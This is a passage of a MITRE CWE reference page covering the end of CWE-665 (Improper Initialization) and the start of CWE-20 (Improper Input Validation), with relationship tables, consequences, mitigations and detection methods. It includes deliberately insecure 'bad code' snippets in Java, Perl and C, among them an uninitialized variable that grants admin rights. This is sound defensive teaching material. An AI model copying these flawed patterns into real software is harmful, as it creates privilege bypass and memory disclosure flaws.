ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1279Cryptographic Operations are run Before Supporting Units are Ready
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1419Incorrect Initialization of Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.909Missing Initialization of Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1188Initialization of a Resource with an Insecure Default
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory; Read Application Data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.
Access Control

Technical Impact: Bypass Protection Mechanism

If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

(bad code)
Example Language: Java 
private boolean initialized = true;
public void someMethod() {
if (!initialized) {

// perform initialization tasks
...

initialized = true;
}

Example 2

The following code intends to limit certain operations to the administrator only.

(bad code)
Example Language: Perl 
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
$uid = ExtractUserID($state);
}

# do stuff
if ($uid == 0) {
DoAdminThings();
}

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3

The following code intends to concatenate a string to a variable and print the string.

(bad code)
Example Language:
char str[20];
strcat(str, "hello world");
printf("%s", str);

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

+ Observed Examples
ReferenceDescription
chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
Use of uninitialized memory may allow code execution.
Free of an uninitialized pointer leads to crash and possible code execution.
OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
Product does not clear memory contents when generating an error message, leading to information leak.
Lack of initialization triggers NULL pointer dereference or double-free.
Uninitialized variable leads to code execution in popular desktop application.
chain: Uninitialized variable leads to infinite loop.
chain: Improper initialization leads to memory corruption.
Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.
Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
chain: game server can access player data structures before initialization has happened leading to NULL dereference
chain: uninitialized function pointers can be dereferenced allowing code execution
chain: improper initialization of memory can lead to NULL dereference
chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.846The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1135SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncorrect initialization
CERT C Secure CodingARR02-CExplicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)DCL00-JPrevent class initialization cycles
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.
[REF-437] Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. <https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Relationships
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Type
2017-11-08CWE Content TeamMITRE
updated References, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Incorrect or Incomplete Initialization

CWE-20: Improper Input Validation

Weakness ID: 20
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
+ Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

  • raw data - strings, numbers, parameters, file contents, etc.
  • metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

  • specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
  • implied or derived quantities, such as the actual size of a file instead of a specified size
  • indexes, offsets, or positions into more complex data structures
  • symbolic keys or other elements into hash tables, associative arrays, etc.
  • well-formedness, i.e. syntactic correctness - compliance with expected syntax
  • lexical token correctness - compliance with rules for what is treated as a token
  • specified or derived type - the actual type of the input (or what the input appears to be)
  • consistency - between individual data elements, between raw data and metadata, between references, etc.
  • conformance to domain-specific rules, e.g. business logic
  • equivalence - ensuring that equivalent inputs are treated the same
  • authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.622Improper Validation of Function Hook Arguments
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1285Improper Validation of Specified Index, Position, or Offset in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1286Improper Validation of Syntactic Correctness of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1287Improper Validation of Specified Type of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1288Improper Validation of Consistency within Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.105Struts: Form Field Without Validator
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.106Struts: Plug-in Framework not in Use
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.107Struts: Unused Validation Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.108Struts: Unvalidated Action Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.109Struts: Validator Turned Off
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.110Struts: Validator Without Form Field
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.112Missing XML Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
